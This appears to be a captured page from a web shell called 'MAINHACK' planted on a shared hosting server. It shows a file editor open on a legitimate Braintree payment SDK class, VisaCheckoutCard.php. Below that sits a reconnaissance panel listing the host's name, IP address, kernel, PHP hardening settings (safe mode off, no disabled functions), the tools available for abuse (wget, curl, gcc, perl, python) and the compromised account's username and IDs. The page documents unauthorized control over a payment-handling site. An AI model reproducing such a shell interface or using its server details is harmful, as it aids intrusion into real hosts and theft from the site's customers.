[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: VisaCheckoutCard.php
<?php namespace Braintree; /** * Braintree VisaCheckoutCard module * Creates and manages Braintree VisaCheckoutCards * * <b>== More information ==</b> * * For more detailed information on CreditCard verifications, see {@link https://developers.braintreepayments.com/reference/response/credit-card-verification/php https://developers.braintreepayments.com/reference/response/credit-card-verification/php} * * @package Braintree * @category Resources * * @property-read \Braintree\Address $billingAddress * @property-read string $bin * @property-read string $callId * @property-read string $cardType * @property-read string $cardholderName * @property-read string $commercial * @property-read string $countryOfIssuance * @property-read \DateTime $createdAt * @property-read string $customerId * @property-read string $customerLocation * @property-read string $debit * @property-read boolean $default * @property-read string $durbinRegulated * @property-read string $expirationDate * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read boolean $expired * @property-read string $healthcare * @property-read string $imageUrl * @property-read string $issuingBank * @property-read string $last4 * @property-read string $maskedNumber * @property-read string $payroll * @property-read string $prepaid * @property-read string $productId * @property-read \Braintree\Subscription[] $subscriptions * @property-read string $token * @property-read string $uniqueNumberIdentifier * @property-read \DateTime $updatedAt */ class VisaCheckoutCard extends Base { /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * checks whether the card is expired based on the current date * * @return boolean */ public function isExpired() { return $this->expired; } /** * sets instance properties from an array of values * * @access protected * @param array $creditCardAttribs array of creditcard data * @return void */ protected function _initialize($creditCardAttribs) { // set the attributes $this->_attributes = $creditCardAttribs; // map each address into its own object $billingAddress = isset($creditCardAttribs['billingAddress']) ? Address::factory($creditCardAttribs['billingAddress']) : null; $subscriptionArray = []; if (isset($creditCardAttribs['subscriptions'])) { foreach ($creditCardAttribs['subscriptions'] AS $subscription) { $subscriptionArray[] = Subscription::factory($subscription); } } $this->_set('subscriptions', $subscriptionArray); $this->_set('billingAddress', $billingAddress); $this->_set('expirationDate', $this->expirationMonth . '/' . $this->expirationYear); $this->_set('maskedNumber', $this->bin . '******' . $this->last4); if(isset($creditCardAttribs['verifications']) && count($creditCardAttribs['verifications']) > 0) { $verifications = $creditCardAttribs['verifications']; usort($verifications, [$this, '_compareCreatedAtOnVerifications']); $this->_set('verification', CreditCardVerification::factory($verifications[0])); } } private function _compareCreatedAtOnVerifications($verificationAttrib1, $verificationAttrib2) { return ($verificationAttrib2['createdAt'] < $verificationAttrib1['createdAt']) ? -1 : 1; } /** * returns false if comparing object is not a VisaCheckoutCard, * or is a VisaCheckoutCard with a different id * * @param object $otherVisaCheckoutCard customer to compare against * @return boolean */ public function isEqual($otherVisaCheckoutCard) { return !($otherVisaCheckoutCard instanceof self) ? false : $this->token === $otherVisaCheckoutCard->token; } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } /** * factory method: returns an instance of VisaCheckoutCard * to the requesting method, with populated properties * * @ignore * @return VisaCheckoutCard */ public static function factory($attributes) { $defaultAttributes = [ 'bin' => '', 'expirationMonth' => '', 'expirationYear' => '', 'last4' => '', ]; $instance = new self(); $instance->_initialize(array_merge($defaultAttributes, $attributes)); return $instance; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285